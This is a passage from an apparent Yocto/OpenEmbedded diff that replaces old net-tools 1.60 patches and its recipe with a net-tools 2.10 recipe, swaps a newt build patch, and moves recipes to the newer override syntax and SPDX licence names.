-+ printf(" ");
-+ sprintf(buffer,"%s:%s", local_addr, local_port);
-+ printf("%-55s", buffer);
-+ printf(" %-12s", first?sctp_socket_state_str(state):"");
-+ first = 0;
- }
--
- finish_this_one(uid,inode,"");
- }
-
-@@ -1199,32 +1171,29 @@ static void sctp_assoc_do_one(int lnr, char *line)
- const char *lport_str,*rport_str;
- const char *uid_str;
- const char *inode_str;
-- const char *pladdr_str;
- char *laddrs_str;
-- const char *praddr_str;
- char *raddrs_str;
--
-+
- if(lnr == 0) {
-- /* ASSOC SOCK STY SST ST HBKT tx_queue rx_queue uid inode LPORT RPORT pladdr praddr LADDRS <-> RADDRS*/
-+ /* ASSOC SOCK STY SST ST HBKT ASSOC-ID TX_QUEUE RX_QUEUE UID INODE LPORT RPORT LADDRS <-> RADDRS */
- return;
- }
--
-- strtok(line," \t\n"); /*skip ptr*/
-- strtok(0," \t\n"); /*skip ptr*/
-+
-+ strtok(line," \t\n"); /*skip assoc*/
-+ strtok(0," \t\n"); /*skip sock*/
- sty_str = strtok(0," \t\n");
- sst_str = strtok(0," \t\n");
- st_str = strtok(0," \t\n");
- strtok(0," \t\n"); /*skip hash bucket*/
-+ strtok(0," \t\n"); /*skip hash assoc-id*/
- txqueue_str = strtok(0," \t\n");
- rxqueue_str = strtok(0," \t\n");
- uid_str = strtok(0," \t\n");
- inode_str = strtok(0," \t\n");
- lport_str=strtok(0," \t\n");
- rport_str=strtok(0," \t\n");
-- pladdr_str = strtok(0," \t\n");
-- praddr_str = strtok(0," \t\n");
-- laddrs_str=strtok(0,"<->\t\n");
-- raddrs_str=strtok(0,"<->\t\n");
-+ laddrs_str = strtok(0,"<->\t\n");
-+ raddrs_str = strtok(0,"<->\t\n");
-
- type = atoi(sty_str);
- state = atoi(sst_str);
-@@ -1235,116 +1204,81 @@ static void sctp_assoc_do_one(int lnr, char *line)
- inode = strtoul(inode_str,0,0);
- lport = atoi(lport_str);
- rport = atoi(rport_str);
--
-- if(flag_sctp<=1) {
-- /* only print the primary addresses */
-- char local_addr[64];
-- char local_port[16];
-- char remote_addr[64];
-- char remote_port[16];
--
-- ap = process_sctp_addr_str(pladdr_str, (struct sockaddr*)&localaddr);
-- if(ap)
-- safe_strncpy(local_addr,
-- ap->sprint((struct sockaddr *) &localaddr, flag_not),
-- sizeof(local_addr));
-- else
-- sprintf(local_addr,_("unsupported address family %d"), ((struct sockaddr*)&localaddr)->sa_family);
--
-- snprintf(local_port, sizeof(local_port), "%s",
-- get_sname(htons(lport), "sctp",
-- flag_not & FLAG_NUM_PORT));
--
-- ap = process_sctp_addr_str(praddr_str, (struct sockaddr*)&remoteaddr);
-- if(ap)
-- safe_strncpy(remote_addr,
-- ap->sprint((struct sockaddr *) &remoteaddr, flag_not),
-- sizeof(remote_addr));
-- else
-- sprintf(remote_addr,_("unsupported address family %d"), ((struct sockaddr*)&remoteaddr)->sa_family);
--
-- snprintf(remote_port, sizeof(remote_port), "%s",
-- get_sname(htons(rport), "sctp",
-- flag_not & FLAG_NUM_PORT));
--
-- printf("sctp");
-- printf(" %6u %6u ", rxqueue, txqueue);
-- sprintf(buffer,"%s:%s", local_addr, local_port);
-- printf("%-23s", buffer);
-- printf(" ");
-- sprintf(buffer,"%s:%s", remote_addr, remote_port);
-- printf("%-23s", buffer);
-- printf(" %-12s", sctp_socket_state_str(state));
-- } else {
-- /*print all addresses*/
-- const char *this_local_addr;
-- const char *this_remote_addr;
-- char *ss1,*ss2;
-- int first=1;
-- char local_port[16];
-- char remote_port[16];
-- snprintf(local_port, sizeof(local_port), "%s",
-- get_sname(htons(lport), "sctp",
-- flag_not & FLAG_NUM_PORT));
-- snprintf(remote_port, sizeof(remote_port), "%s",
-- get_sname(htons(rport), "sctp",
-- flag_not & FLAG_NUM_PORT));
--
-- this_local_addr=strtok_r(laddrs_str," \t\n",&ss1);
-- this_remote_addr=strtok_r(raddrs_str," \t\n",&ss2);
-- while(this_local_addr || this_remote_addr) {
-- char local_addr[64];
-- char remote_addr[64];
-- if(this_local_addr) {
-- ap = process_sctp_addr_str(this_local_addr, (struct sockaddr*)&localaddr);
-- if(ap)
-- safe_strncpy(local_addr,
-- ap->sprint((struct sockaddr *) &localaddr, flag_not),
-- sizeof(local_addr));
-- else
-- sprintf(local_addr,_("unsupported address family %d"), ((struct sockaddr*)&localaddr)->sa_family);
-- }
-- if(this_remote_addr) {
-- ap = process_sctp_addr_str(this_remote_addr, (struct sockaddr*)&remoteaddr);
-- if(ap)
-- safe_strncpy(remote_addr,
-- ap->sprint((struct sockaddr *) &remoteaddr, flag_not),
-- sizeof(remote_addr));
-- else
-- sprintf(remote_addr,_("unsupported address family %d"), ((struct sockaddr*)&remoteaddr)->sa_family);
-- }
-
-- if(!first) printf("\n");
-- if(first)
-- printf("sctp %6u %6u ", rxqueue, txqueue);
-- else
-- printf(" ");
-- if(this_local_addr) {
-- if(first)
-- sprintf(buffer,"%s:%s", local_addr, local_port);
-+ /*print all addresses*/
-+ const char *this_local_addr;
-+ const char *this_remote_addr;
-+ char *ss1,*ss2;
-+ int first=1;
-+ char local_port[16];
-+ char remote_port[16];
-+ snprintf(local_port, sizeof(local_port), "%s",
-+ get_sname(htons(lport), "sctp",
-+ flag_not & FLAG_NUM_PORT));
-+ snprintf(remote_port, sizeof(remote_port), "%s",
-+ get_sname(htons(rport), "sctp",
-+ flag_not & FLAG_NUM_PORT));
-+
-+ this_local_addr=strtok_r(laddrs_str," \t\n",&ss1);
-+ this_remote_addr=strtok_r(raddrs_str," \t\n",&ss2);
-+ while(this_local_addr || this_remote_addr) {
-+ char local_addr[64];
-+ char remote_addr[64];
-+
-+ if(this_local_addr) {
-+ if (this_local_addr[0] == '*') {
-+ /* skip * */
-+ this_local_addr++;
-+ }
-+ ap = process_sctp_addr_str(this_local_addr, (struct sockaddr*)&localaddr);
-+ if(ap)
-+ safe_strncpy(local_addr,
-+ ap->sprint((struct sockaddr *) &localaddr, flag_not), sizeof(local_addr));
- else
-- sprintf(buffer,"%s", local_addr);
-- printf("%-23s", buffer);
-- } else
-- printf("%-23s", "");
-- printf(" ");
-- if(this_remote_addr) {
-- if(first)
-- sprintf(buffer,"%s:%s", remote_addr, remote_port);
-+ sprintf(local_addr,_("unsupported address family %d"), ((struct sockaddr*)&localaddr)->sa_family);
-+ }
-+ if(this_remote_addr) {
-+ if (this_remote_addr[0] == '*') {
-+ /* skip * */
-+ this_remote_addr++;
-+ }
-+ ap = process_sctp_addr_str(this_remote_addr, (struct sockaddr*)&remoteaddr);
-+ if(ap)
-+ safe_strncpy(remote_addr,
-+ ap->sprint((struct sockaddr *) &remoteaddr, flag_not), sizeof(remote_addr));
- else
-- sprintf(buffer,"%s", remote_addr);
-- printf("%-23s", buffer);
-- } else
-- printf("%-23s", "");
--
-- printf(" %-12s", first?sctp_socket_state_str(state):"");
-+ sprintf(remote_addr,_("unsupported address family %d"), ((struct sockaddr*)&remoteaddr)->sa_family);
-+ }
-
-- first = 0;
-- this_local_addr=strtok_r(0," \t\n",&ss1);
-- this_remote_addr=strtok_r(0," \t\n",&ss2);
-- }
-+ if(!first) printf("\n");
-+ if(first)
-+ printf("sctp %6u %6u ", rxqueue, txqueue);
-+ else
-+ printf(" ");
-+ if(this_local_addr) {
-+ if(first)
-+ sprintf(buffer,"%s:%s", local_addr, local_port);
-+ else
-+ sprintf(buffer,"%s", local_addr);
-+ printf("%-27s", buffer);
-+ } else
-+ printf("%-27s", "");
-+ printf(" ");
-+ if(this_remote_addr) {
-+ if(first)
-+ sprintf(buffer,"%s:%s", remote_addr, remote_port);
-+ else
-+ sprintf(buffer,"%s", remote_addr);
-+ printf("%-27s", buffer);
-+ } else
-+ printf("%-27s", "");
-+
-+ printf(" %-12s", first?sctp_socket_state_str(state):"");
-+
-+ first = 0;
-+ this_local_addr=strtok_r(0," \t\n",&ss1);
-+ this_remote_addr=strtok_r(0," \t\n",&ss2);
- }
--
- finish_this_one(uid,inode,"");
- }
-
---
-1.8.5.2.233.g932f7e4
-
diff --git a/meta/recipes-extended/net-tools/net-tools/net-tools-fix-building-with-linux-4.8.patch b/meta/recipes-extended/net-tools/net-tools/net-tools-fix-building-with-linux-4.8.patch
deleted file mode 100644
index 505eeb048a..0000000000
--- a/meta/recipes-extended/net-tools/net-tools/net-tools-fix-building-with-linux-4.8.patch
+++ /dev/null
@@ -1,52 +0,0 @@
-From 4d56645ea144a34f7cdd3e3ede6452d81fbae251 Mon Sep 17 00:00:00 2001
-From: Randy MacLeod <Randy.MacLeod@windriver.com>
-Date: Sat, 8 Oct 2016 14:42:54 +0800
-Subject: [PATCH] iptunnel.c: include linux/ip.h to fix building with linux-4.8
-
-Fix a build error when using the linux-4.8 headers that results in:
-
-In file included from
-.../sysroots/qemuarm64/usr/include/linux/if_tunnel.h:6:0,
- from iptunnel.c:39:
-.../qemuarm64/usr/include/linux/ip.h:85:8: error: redefinition of
-'struct iphdr'
- struct iphdr {
- ^~~~~
-In file included from iptunnel.c:29:0:
-.../qemuarm64/usr/include/netinet/ip.h:44:8: note: originally defined here
- struct iphdr
- ^~~~~
-
-Upstream-Status: Submitted [1]
-
-[1] https://sourceforge.net/p/net-tools/mailman/message/35413022/
-
-Signed-off-by: Randy MacLeod <Randy.MacLeod@windriver.com>
-Signed-off-by: Jackie Huang <jackie.huang@windriver.com>
----
- iptunnel.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/iptunnel.c b/iptunnel.c
-index 4943d83..acfcbc7 100644
---- a/iptunnel.c
-+++ b/iptunnel.c
-@@ -26,7 +26,6 @@
- #include <sys/socket.h>
- #include <sys/ioctl.h>
- #include <netinet/in.h>
--#include <netinet/ip.h>
- #include <arpa/inet.h>
- #if defined(__GLIBC__) && (__GLIBC__ > 2 || (__GLIBC__ == 2 && __GLIBC_MINOR__ >= 1))
- #include <net/if.h>
-@@ -36,6 +35,7 @@
- #include <linux/if_arp.h>
- #endif
- #include <linux/types.h>
-+#include <linux/ip.h>
- #include <linux/if_tunnel.h>
-
- #include "config.h"
---
-2.8.3
-
diff --git a/meta/recipes-extended/net-tools/net-tools_1.60-26.bb b/meta/recipes-extended/net-tools/net-tools_1.60-26.bb
deleted file mode 100644
index 5a376e72f0..0000000000
--- a/meta/recipes-extended/net-tools/net-tools_1.60-26.bb
+++ /dev/null
@@ -1,131 +0,0 @@
-SUMMARY = "Basic networking tools"
-DESCRIPTION = "A collection of programs that form the base set of the NET-3 networking distribution for the Linux operating system"
-HOMEPAGE = "http://net-tools.berlios.de/"
-BUGTRACKER = "http://bugs.debian.org/net-tools"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=8ca43cbc842c2336e835926c2166c28b \
- file://ifconfig.c;beginline=11;endline=15;md5=d1ca372080ad5401e23ca0afc35cf9ba"
-
-SRC_URI = "http://snapshot.debian.org/archive/debian/20050312T000000Z/pool/main/n/${BPN}/${BPN}_1.60.orig.tar.gz;name=tarball \
- http://snapshot.debian.org/archive/debian//20150831T093342Z/pool/main/n/${BPN}/${BPN}_${PV}.diff.gz;apply=no;name=patch \
- file://net-tools-config.h \
- file://net-tools-config.make \
- file://ifconfig-interface-0-del-IP-will-remove-the-aliased-.patch \
- file://musl-fixes.patch \
- file://net-tools-1.60-sctp1.patch \
- file://net-tools-1.60-sctp2-quiet.patch \
- file://net-tools-1.60-sctp3-addrs.patch \
- file://0001-lib-inet6.c-INET6_rresolve-various-fixes.patch \
- file://net-tools-fix-building-with-linux-4.8.patch \
- "
-
-# for this package we're mostly interested in tracking debian patches,
-# and not in the upstream version where all development has effectively stopped
-UPSTREAM_CHECK_REGEX = "(?P<pver>((\d+\.*)+)-((\d+\.*)+))\.(diff|debian\.tar)\.(gz|xz)"
-
-S = "${WORKDIR}/net-tools-1.60"
-
-SRC_URI[tarball.md5sum] = "ecaf37acb5b5daff4bdda77785fd916d"
-SRC_URI[tarball.sha256sum] = "ec67967cf7b1a3a3828a84762fbc013ac50ee5dc9aa3095d5c591f302c2de0f5"
-
-SRC_URI[patch.md5sum] = "ea3592f49ac8380962bc4d9b66c7e7e9"
-SRC_URI[patch.sha256sum] = "aeeeafaff68866a446f01bb639d4e0146a60af34dcd20e31a3e46585022fc76c"
-
-# the package is taken from snapshots.debian.org; that source is static and goes stale
-# so we check the latest upstream from a directory that does get updated
-UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/n/net-tools/"
-
-inherit gettext
-
-do_patch[depends] += "quilt-native:do_populate_sysroot"
-
-# The Makefile is lame, no parallel build
-PARALLEL_MAKE = ""
-
-# Unlike other Debian packages, net-tools *.diff.gz contains another series of
-# patches maintained by quilt. So manually apply them before applying other local
-# patches. Also remove all temp files before leaving, because do_patch() will pop
-# up all previously applied patches in the start
-nettools_do_patch() {
- cd ${S}
- # it's important that we only pop the existing patches when they've
- # been applied, otherwise quilt will climb the directory tree
- # and reverse out some completely different set of patches
- if [ -d ${S}/patches ]; then
- # whilst this is the default directory, doing it like this
- # defeats the directory climbing that quilt will otherwise
- # do; note the directory must exist to defeat this, hence
- # the test inside which we operate
- QUILT_PATCHES=${S}/patches quilt pop -a
- fi
- if [ -d ${S}/.pc-nettools ]; then
- rm -rf ${S}/.pc
- mv ${S}/.pc-nettools ${S}/.pc
- QUILT_PATCHES=${S}/debian/patches quilt pop -a
- rm -rf ${S}/.pc ${S}/debian
- fi
- patch -p1 < ${WORKDIR}/${BPN}_${PV}.diff
- QUILT_PATCHES=${S}/debian/patches quilt push -a
- mv ${S}/.pc ${S}/.pc-nettools
-}
-
-do_unpack[cleandirs] += "${S}"
-
-# We invoke base do_patch at end, to incorporate any local patch
-python do_patch() {
- bb.build.exec_func('nettools_do_patch', d)
- bb.build.exec_func('patch_do_patch', d)
-}
-
-do_configure() {
- # net-tools has its own config mechanism requiring "make config"
- # we pre-generate desired options and copy to source directory instead
- cp ${WORKDIR}/net-tools-config.h ${S}/config.h
- cp ${WORKDIR}/net-tools-config.make ${S}/config.make
-
- if [ "${USE_NLS}" = "no" ]; then
- sed -i -e 's/^I18N=1/# I18N=1/' ${S}/config.make
- fi
-}
-
-do_compile() {
- # net-tools use COPTS/LOPTS to allow adding custom options
- oe_runmake COPTS="$CFLAGS" LOPTS="$LDFLAGS"
-}
-
-do_install() {
- # We don't need COPTS or LOPTS, but let's be consistent.
- oe_runmake COPTS="$CFLAGS" LOPTS="$LDFLAGS" BASEDIR=${D} INSTALLNLSDIR=${D}${datadir}/locale mandir=${mandir} install
-
- if [ "${base_bindir}" != "/bin" ]; then
- mkdir -p ${D}/${base_bindir}
- mv ${D}/bin/* ${D}/${base_bindir}/
- rmdir ${D}/bin
- fi
- if [ "${base_sbindir}" != "/sbin" ]; then
- mkdir ${D}/${base_sbindir}
- mv ${D}/sbin/* ${D}/${base_sbindir}/
- rmdir ${D}/sbin
- fi
-}
-
-inherit update-alternatives
-
-base_sbindir_progs = "arp ifconfig ipmaddr iptunnel mii-tool nameif plipconfig rarp route slattach"
-base_bindir_progs = "dnsdomainname domainname hostname netstat nisdomainname ypdomainname"
-
-ALTERNATIVE_${PN} = "${base_sbindir_progs} ${base_bindir_progs}"
-ALTERNATIVE_${PN}-doc += "hostname.1 dnsdomainname.1"
-ALTERNATIVE_LINK_NAME[hostname.1] = "${mandir}/man1/hostname.1"
-ALTERNATIVE_LINK_NAME[dnsdomainname.1] = "${mandir}/man1/dnsdomainname.1"
-ALTERNATIVE_PRIORITY[hostname.1] = "10"
-
-python __anonymous() {
- for prog in d.getVar('base_sbindir_progs').split():
- d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_sbindir'), prog))
- for prog in d.getVar('base_bindir_progs').split():
- d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_bindir'), prog))
-}
-ALTERNATIVE_PRIORITY = "100"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/net-tools/net-tools_2.10.bb b/meta/recipes-extended/net-tools/net-tools_2.10.bb
new file mode 100644
index 0000000000..33304297ec
--- /dev/null
+++ b/meta/recipes-extended/net-tools/net-tools_2.10.bb
@@ -0,0 +1,121 @@
+SUMMARY = "Basic networking tools"
+DESCRIPTION = "A collection of programs that form the base set of the NET-3 networking distribution for the Linux operating system"
+HOMEPAGE = "http://net-tools.berlios.de/"
+BUGTRACKER = "http://bugs.debian.org/net-tools"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://ifconfig.c;beginline=11;endline=15;md5=d1ca372080ad5401e23ca0afc35cf9ba"
+
+SRCREV = "80d7b95067f1f22fece9537dea6dff53081f4886"
+SRC_URI = "git://git.code.sf.net/p/net-tools/code;protocol=https;branch=master \
+ file://net-tools-config.h \
+ file://net-tools-config.make \
+ file://Add_missing_headers.patch \
+"
+
+S = "${WORKDIR}/git"
+
+inherit gettext
+
+# The Makefile is lame, no parallel build
+PARALLEL_MAKE = ""
+
+PACKAGECONFIG ??= "hostname arp serial plip"
+PACKAGECONFIG[hostname] = ""
+PACKAGECONFIG[arp] = ""
+PACKAGECONFIG[serial] = ""
+PACKAGECONFIG[plip] = ""
+PACKAGECONFIG[slattach] = ""
+PACKAGECONFIG[plipconfig] = ""
+
+do_configure() {
+ # net-tools has its own config mechanism requiring "make config"
+ # we pre-generate desired options and copy to source directory instead
+ cp ${WORKDIR}/net-tools-config.h ${S}/config.h
+ cp ${WORKDIR}/net-tools-config.make ${S}/config.make
+
+ if [ "${USE_NLS}" = "no" ]; then
+ sed -i -e 's/^I18N=1/# I18N=1/' ${S}/config.make
+ fi
+
+ if ${@bb.utils.contains('PACKAGECONFIG', 'hostname', 'true', 'false', d)} ; then
+ echo "#define HAVE_HOSTNAME_TOOLS 1" >> ${S}/config.h
+ echo "#define HAVE_HOSTNAME_SYMLINKS 1" >> ${S}/config.h
+ echo "HAVE_HOSTNAME_TOOLS=1" >> ${S}/config.make
+ echo "HAVE_HOSTNAME_SYMLINKS=1" >> ${S}/config.make
+ fi
+ if ${@bb.utils.contains('PACKAGECONFIG', 'arp', 'true', 'false', d)} ; then
+ echo "#define HAVE_ARP_TOOLS 1" >> ${S}/config.h
+ echo "HAVE_ARP_TOOLS=1" >> ${S}/config.make
+ fi
+ if ${@bb.utils.contains('PACKAGECONFIG', 'serial', 'true', 'false', d)} ; then
+ echo "#define HAVE_SERIAL_TOOLS 1" >> ${S}/config.h
+ echo "HAVE_SERIAL_TOOLS=1" >> ${S}/config.make
+ fi
+ if ${@bb.utils.contains('PACKAGECONFIG', 'plip', 'true', 'false', d)} ; then
+ echo "#define HAVE_PLIP_TOOLS 1" >> ${S}/config.h
+ echo "HAVE_PLIP_TOOLS=1" >> ${S}/config.make
+ fi
+}
+
+do_compile() {
+ # net-tools use COPTS/LOPTS to allow adding custom options
+ oe_runmake COPTS="$CFLAGS" LOPTS="$LDFLAGS"
+}
+
+do_install() {
+ # We don't need COPTS or LOPTS, but let's be consistent.
+ oe_runmake COPTS="$CFLAGS" LOPTS="$LDFLAGS" BASEDIR=${D} INSTALLNLSDIR=${D}${datadir}/locale mandir=${mandir} install
+
+ if [ "${base_bindir}" != "/bin" ]; then
+ mkdir -p ${D}/${base_bindir}
+ mv ${D}/bin/* ${D}/${base_bindir}/
+ rmdir ${D}/bin
+ fi
+ if [ "${base_sbindir}" != "/sbin" ]; then
+ mkdir ${D}/${base_sbindir}
+ mv ${D}/sbin/* ${D}/${base_sbindir}/
+ rmdir ${D}/sbin
+ fi
+}
+
+inherit update-alternatives
+
+base_sbindir_progs = "ipmaddr iptunnel mii-tool nameif \
+ ${@bb.utils.contains('PACKAGECONFIG', 'arp', 'arp rarp', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'plip', 'plipconfig', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'serial', 'slattach', '', d)} \
+"
+base_bindir_progs = "ifconfig netstat route \
+ ${@bb.utils.contains('PACKAGECONFIG', 'hostname', 'dnsdomainname domainname hostname nisdomainname ypdomainname', '', d)} \
+"
+
+ALTERNATIVE:${PN} = "${base_sbindir_progs} ${base_bindir_progs}"
+ALTERNATIVE:${PN}-doc += "${@bb.utils.contains('PACKAGECONFIG', 'hostname', 'hostname.1 dnsdomainname.1', '', d)}"
+ALTERNATIVE_LINK_NAME[hostname.1] = "${mandir}/man1/hostname.1"
+ALTERNATIVE_LINK_NAME[dnsdomainname.1] = "${mandir}/man1/dnsdomainname.1"
+ALTERNATIVE_PRIORITY[hostname.1] = "10"
+
+python __anonymous() {
+ for prog in d.getVar('base_sbindir_progs').split():
+ d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_sbindir'), prog))
+ for prog in d.getVar('base_bindir_progs').split():
+ d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_bindir'), prog))
+}
+ALTERNATIVE_PRIORITY = "100"
+
+NETTOOLS_PACKAGES = "${PN}-mii-tool"
+NETTOOLS_PACKAGES:class-native = ""
+
+PACKAGE_BEFORE_PN = "${NETTOOLS_PACKAGES}"
+RDEPENDS:${PN} += "${NETTOOLS_PACKAGES}"
+
+FILES:${PN}-mii-tool = "${base_sbindir}/mii-tool"
+
+ALTERNATIVE:${PN}:remove = "mii-tool"
+
+ALTERNATIVE:${PN}-mii-tool = "mii-tool"
+ALTERNATIVE_TARGET[mii-tool] = "${base_sbindir}/mii-tool"
+ALTERNATIVE_LINK_NAME[mii-tool] = "${base_sbindir}/mii-tool"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/newt/files/0002-don-t-ignore-CFLAGS-when-building-snack.patch b/meta/recipes-extended/newt/files/0002-don-t-ignore-CFLAGS-when-building-snack.patch
new file mode 100644
index 0000000000..ca235d5108
--- /dev/null
+++ b/meta/recipes-extended/newt/files/0002-don-t-ignore-CFLAGS-when-building-snack.patch
@@ -0,0 +1,29 @@
+From f60dc1063607ca1f201ba4cbda467d8af3f78f64 Mon Sep 17 00:00:00 2001
+From: Miroslav Lichvar <mlichvar@redhat.com>
+Date: Tue, 1 Oct 2019 16:37:55 +0200
+Subject: [PATCH] don't ignore CFLAGS when building snack
+
+In addition to the flags returned by python-config --cflags, use the
+user-specified CFLAGS when building the snack object.
+
+Upstream-Status: Backport from master
+Signed-off-by: Joshua Watt <JPEWhacker@gmail.com>
+---
+ Makefile.in | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/Makefile.in b/Makefile.in
+index be5f87b..6facd5e 100644
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -96,8 +96,8 @@ _snack.$(SOEXT): snack.c $(LIBNEWTSH)
+ PIFLAGS=`$$pyconfig --includes`; \
+ PLDFLAGS=`$$pyconfig --ldflags`; \
+ PLFLAGS=`$$pyconfig --libs`; \
+- echo $(CC) $(SHCFLAGS) $(CPPFLAGS) $$PIFLAGS $$PCFLAGS -c -o $$ver/snack.o snack.c; \
+- $(CC) $(SHCFLAGS) $(CPPFLAGS) $$PIFLAGS $$PCFLAGS -c -o $$ver/snack.o snack.c; \
++ echo $(CC) $(SHCFLAGS) $(CFLAGS) $(CPPFLAGS) $$PIFLAGS $$PCFLAGS -c -o $$ver/snack.o snack.c; \
++ $(CC) $(SHCFLAGS) $(CFLAGS) $(CPPFLAGS) $$PIFLAGS $$PCFLAGS -c -o $$ver/snack.o snack.c; \
+ echo $(CC) --shared $$PLDFLAGS $$PLFLAGS $(LDFLAGS) -o $$ver/_snack.$(SOEXT) $$ver/snack.o -L. -lnewt $(LIBS); \
+ $(CC) --shared $$PLDFLAGS $$PLFLAGS $(LDFLAGS) -o $$ver/_snack.$(SOEXT) $$ver/snack.o -L. -lnewt $(LIBS); \
+ done || :
diff --git a/meta/recipes-extended/newt/files/pie-flags.patch b/meta/recipes-extended/newt/files/pie-flags.patch
deleted file mode 100644
index 92f5b2503b..0000000000
--- a/meta/recipes-extended/newt/files/pie-flags.patch
+++ /dev/null
@@ -1,41 +0,0 @@
-specify -fPIC after CFLAGS so it can override the CFLAGS containing -pie and -fpie this makes sure the objects that go into shared objects are compiled with -fPIC and not with -fpie. We can not use -fpie on objects which will go into .so files Fixes errors like
-
-| /mnt/oe/build/tmp-glibc/sysroots/x86_64-linux/usr/libexec/x86_64-oe-linux/gcc/x86_64-oe-linux/5.3.0/ld: shared/newt.o: relocation R_X86_64_PC32 against undefined symbol `SLtt_Screen_Rows@@SLANG2' can not be used when making a shared object; recompile with -fPIC
-| /mnt/oe/build/tmp-glibc/sysroots/x86_64-linux/usr/libexec/x86_64-oe-linux/gcc/x86_64-oe-linux/5.3.0/ld: final link failed: Bad value
-| collect2: error: ld returned 1 exit status
-| make: *** [libnewt.so.0.52.18] Error 1
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Pending
-
----
- Makefile.in | 6 +++---
- 1 file changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/Makefile.in b/Makefile.in
-index be5f87b..88ee0b7 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -96,8 +96,8 @@ _snack.$(SOEXT): snack.c $(LIBNEWTSH)
- PIFLAGS=`$$pyconfig --includes`; \
- PLDFLAGS=`$$pyconfig --ldflags`; \
- PLFLAGS=`$$pyconfig --libs`; \
-- echo $(CC) $(SHCFLAGS) $(CPPFLAGS) $$PIFLAGS $$PCFLAGS -c -o $$ver/snack.o snack.c; \
-- $(CC) $(SHCFLAGS) $(CPPFLAGS) $$PIFLAGS $$PCFLAGS -c -o $$ver/snack.o snack.c; \
-+ echo $(CC) $(CPPFLAGS) $(SHCFLAGS) $$PIFLAGS $$PCFLAGS -c -o $$ver/snack.o snack.c; \
-+ $(CC) $(CPPFLAGS) $(SHCFLAGS) $$PIFLAGS $$PCFLAGS -c -o $$ver/snack.o snack.c; \
- echo $(CC) --shared $$PLDFLAGS $$PLFLAGS $(LDFLAGS) -o $$ver/_snack.$(SOEXT) $$ver/snack.o -L. -lnewt $(LIBS); \
- $(CC) --shared $$PLDFLAGS $$PLFLAGS $(LDFLAGS) -o $$ver/_snack.$(SOEXT) $$ver/snack.o -L. -lnewt $(LIBS); \
- done || :
-@@ -133,7 +133,7 @@ $(LIBNEWTSH): $(SHAREDOBJS)
-
- $(SHAREDDIR)/%.o : %.c
- @mkdir -p $(SHAREDDIR)
-- $(CC) $(SHCFLAGS) -c $(CFLAGS) $(CPPFLAGS) -o $@ $<
-+ $(CC) -c $(CFLAGS) $(CPPFLAGS) $(SHCFLAGS) -o $@ $<
-
- install: $(LIBNEWT) install-sh whiptail
- [ -d $(instroot)/$(bindir) ] || install -m 755 -d $(instroot)/$(bindir)
---
-2.7.4
-
diff --git a/meta/recipes-extended/newt/libnewt_0.52.21.bb b/meta/recipes-extended/newt/libnewt_0.52.21.bb
index 09b61be61d..430e481b36 100644
--- a/meta/recipes-extended/newt/libnewt_0.52.21.bb
+++ b/meta/recipes-extended/newt/libnewt_0.52.21.bb
@@ -11,7 +11,7 @@ slang library."
HOMEPAGE = "https://releases.pagure.org/newt/"
SECTION = "libs"
-LICENSE = "LGPLv2"
+LICENSE = "LGPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=5f30f0716dfdd0d91eb439ebec522ec2"
# slang needs to be >= 2.2
@@ -20,16 +20,16 @@ DEPENDS = "slang popt python3"
SRC_URI = "https://releases.pagure.org/newt/newt-${PV}.tar.gz \
file://cross_ar.patch \
file://Makefile.in-Add-tinfo-library-to-the-linking-librari.patch \
- file://pie-flags.patch \
file://0001-detect-gold-as-GNU-linker-too.patch \
-"
+ file://0002-don-t-ignore-CFLAGS-when-building-snack.patch \
+ "
SRC_URI[md5sum] = "a0a5fd6b53bb167a65e15996b249ebb5"
SRC_URI[sha256sum] = "265eb46b55d7eaeb887fca7a1d51fe115658882dfe148164b6c49fccac5abb31"
S = "${WORKDIR}/newt-${PV}"
-inherit autotools-brokensep python3native python3-dir
+inherit autotools-brokensep python3native python3-dir python3targetconfig
EXTRA_OECONF = "--without-tcl --with-python"
@@ -39,20 +39,20 @@ CLEANBROKEN = "1"
export CPPFLAGS
-PACKAGES_prepend = "whiptail ${PN}-python "
+PACKAGES:prepend = "whiptail ${PN}-python "
-RDEPENDS_${PN}-python += "python3-core"
-FILES_${PN}-python = "${PYTHON_SITEPACKAGES_DIR}/*"
+RDEPENDS:${PN}-python += "python3-core"
+FILES:${PN}-python = "${PYTHON_SITEPACKAGES_DIR}/*"
-do_configure_prepend() {
+do_configure:prepend() {
sh autogen.sh
}
-do_compile_prepend() {
+do_compile:prepend() {
# Make sure the recompile is OK
rm -f ${B}/.depend
}
-FILES_whiptail = "${bindir}/whiptail"
+FILES:whiptail = "${bindir}/whiptail"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb b/meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb
index 7501837937..b17cba4a78 100644
--- a/meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb
+++ b/meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb
@@ -13,7 +13,7 @@ VIRTUAL-RUNTIME_vim ?= "vim-tiny"
PACKAGE_ARCH = "${MACHINE_ARCH}"
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
base-passwd \
bash \
bind-utils \
@@ -21,8 +21,8 @@ RDEPENDS_${PN} = "\
coreutils \
cpio \
${@bb.utils.contains("DISTRO_FEATURES", "systemd", "", "debianutils-run-parts", d)} \
- dhcp-client \
